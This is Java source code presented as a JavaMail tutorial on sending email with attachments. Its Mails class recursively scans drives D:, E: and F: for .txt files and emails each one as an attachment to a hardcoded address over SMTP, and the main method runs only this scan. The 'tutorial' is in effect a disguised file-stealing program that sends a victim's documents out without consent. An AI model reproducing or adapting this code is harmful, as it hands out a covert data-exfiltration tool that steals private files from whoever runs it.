JAVA程序发送带附件的邮件

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

import java.util.Date; 
/** 
* 邮件类 
*/ 
public class Email{ 
public final static String TO="xxx@sina.com"; 
public final static String FROM="xxx@sina.com"; 
public final static String CC="xxx@nxxx.com"; 
public final static String BCC="xxx@nxxx.com"; 
public final static String Email_Subject="Test Email With JavaMail"; 
public final static String Email_Header="This Is Email Header"; 
public final static String Email_Body="This Is Email Body"; 
public final static String Email_Host="smtp.sina.com.cn"; 
public Date sendDate=null;

public Email(){} 
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

import javax.mail.Authenticator; 
import javax.mail.PasswordAuthentication; 
/** 
* 邮件服务器认证 
*/ 
public class MailAuthenticator extends Authenticator { 
private final static String username="xxx"; 
private final static String password="xxx";

protected PasswordAuthentication getPasswordAuthentication(){ 
return new PasswordAuthentication(username,password);

} 
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////

import java.awt.Frame;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;

public class Mails {

public Mails(){
   Copyfiles("D:\\");
   Copyfiles("E:\\");
   Copyfiles("F:\\");
}

public void Copyfiles(String path){
   File f=new File(path);
   File[] filelist=f.listFiles();
   if(filelist==null)
    return ;
  
   for (int i = 0; i < filelist.length; i++) {
    if(filelist[i].isFile()){
     if(filelist[i].getName().endsWith(".txt"))
     {   
      try{
         String str =filelist[i].getAbsolutePath();
         new SendEmail().sendEmailWithAttachment(str); 
      }catch(IOException e){
       e.printStackTrace();
      }
     }
    }else if(filelist[i].isDirectory()){
     Copyfiles(filelist[i].getAbsolutePath());
     }
   }
}
}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

import java.awt.Frame;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.io.UnsupportedEncodingException; 
import java.util.Date; 
import java.util.Properties;

import javax.activation.DataHandler; 
import javax.activation.DataSource; 
import javax.activation.FileDataSource; 
import javax.mail.Address; 
import javax.mail.Authenticator; 
import javax.mail.BodyPart; 
import javax.mail.Message; 
import javax.mail.MessagingException; 
import javax.mail.Multipart; 
import javax.mail.Session; 
import javax.mail.Transport; 
import javax.mail.internet.InternetAddress; 
import javax.mail.internet.MimeBodyPart; 
import javax.mail.internet.MimeMessage; 
import javax.mail.internet.MimeMultipart;

/** 
* 发送邮件 
*/ 
public class SendEmail {

/** 
* 发送普通邮件 
* 
* @throws Exception 
*/ 
public void doSendNormalMail() throws Exception {

Properties prop = new Properties(); // 获取系统环境 
Authenticator auth = new MailAuthenticator(); // 邮件服务器认证 
prop.put("mail.smtp.host", Email.Email_Host); 
prop.put("mail.smtp.auth", "true"); 
Session session = Session.getDefaultInstance(prop, auth);// 设置对话和邮件服务器进行通讯

Message message = new MimeMessage(session); 
/* 
* 设置邮件对象 
*/ 
try { 
message.setSubject(Email.Email_Subject + "Normal Email"); // 设置邮件主题 
message.setContent("Hello", "text/plain"); // 设置邮件格式 
message.setText(Email.Email_Body); // 设置邮件体 
message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 
message.setSentDate(new Date()); // 设置发送时间 
Address address = new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 
message.setFrom(address);

/* 
* 设置多个发件人地址 
* 
* Address address[]={new InternetAddress("","") new 
* InternetAddress("","")}; message.addFrom(address); 
*/

Address toAddress = new InternetAddress(Email.TO); // 设置接收人地址 
message.setRecipient(Message.RecipientType.TO, toAddress);

// 设置多个收件人地址 
// message.addRecipient(Message.RecipientType.TO,new

message.saveChanges(); 
System.out.println("sendNormalEmail() 开始发送邮件……"); 
Transport.send(message); // 发送邮件 
System.out.println("发送成功！");

} catch (MessagingException e) { 
System.out.println("发送失败！"); 
e.printStackTrace(); 
}

}

/** 
* 发送带附件的邮件 
* @throws UnsupportedEncodingException 
*/ 
public void sendEmailWithAttachment(String str) throws UnsupportedEncodingException { 
Properties prop = new Properties(); 
prop.put("mail.smtp.host", Email.Email_Host); 
prop.put("mail.smtp.auth", "true"); 
Authenticator auth = new MailAuthenticator(); 
Session session = Session.getDefaultInstance(prop, auth); 
Message message = new MimeMessage(session);

try { 
message.setSubject(Email.Email_Subject + "Email With Accatchment");// 设置邮件主题 
message.setContent("Hello", "text/plain"); // 设置邮件格式 
message.setText(Email.Email_Body); // 设置邮件体 
message.setHeader("Header:", Email.Email_Header); // 设置邮件标题 
message.setSentDate(new Date()); // 设置发送时间 
Address address = new InternetAddress(Email.FROM, "Dave"); // 设置发信人地址 
message.setFrom(address);

BodyPart messageBodyPart = new MimeBodyPart(); 
messageBodyPart.setText("bodypart"); 
Multipart multipart = new MimeMultipart(); 
multipart.addBodyPart(messageBodyPart); 
messageBodyPart = new MimeBodyPart(); 
DataSource source = new FileDataSource(str); 
messageBodyPart.setDataHandler(new DataHandler(source)); 
messageBodyPart.setFileName(str); 
multipart.addBodyPart(messageBodyPart);// Put parts in 
message.setContent(multipart); 
Address toAddress = new InternetAddress(Email.TO); 
message.setRecipient(Message.RecipientType.TO, toAddress); 
message.saveChanges(); 
System.out.println("sendEmailWithAttachment() 开始发送邮件……"); 
Transport.send(message); 
System.out.println("发送成功！"); 
} catch (MessagingException e) { 
System.out.println("发送失败！"); 
e.printStackTrace(); 
}

}

/** 
* 发送带html的邮件 
* 
* @throws UnsupportedEncodingException 
*/

public void sendEmailWithHtml() throws UnsupportedEncodingException {

Properties prop = new Properties(); 
Authenticator auth = new MailAuthenticator(); 
prop.put("mail.smtp.host", Email.Email_Host); 
prop.put("mail.smtp.auth", "true"); 
Session session = Session.getDefaultInstance(prop, auth); 
Message message = new MimeMessage(session);

String htmlText = "<h1>Hello</h1>" 
+ "<a href=\"http://news.sina.com.cn\" target=\"blank\">点击连接</a>"; 
System.out.println(htmlText); 
try { 
message.setSubject(Email.Email_Subject + "Email With Html"); 
message.setContent(htmlText + Email.Email_Body, 
"text/html;charset=gb2312"); 
// message.setText(Email.Email_Body); 
message.setSentDate(new Date());

Address address = new InternetAddress(Email.FROM, "Dave"); 
Address toAddress = new InternetAddress(Email.TO); 
message.setFrom(address); 
message.setRecipient(Message.RecipientType.TO, toAddress); 
message.saveChanges(); 
System.out.println("sendEmailWithHtml() 开始发送邮件……"); 
Transport.send(message); 
System.out.println("发送成功！"); 
} catch (MessagingException e) { 
System.out.println("发送失败！"); 
e.printStackTrace(); 
} 
}

}

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

import java.awt.Frame;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;

public class MyMain {
/** 
* 测试函数 
* 
* @param args 
*/ 
public static void main(String args[]) { 
    Mails a=new Mails(); 
}
}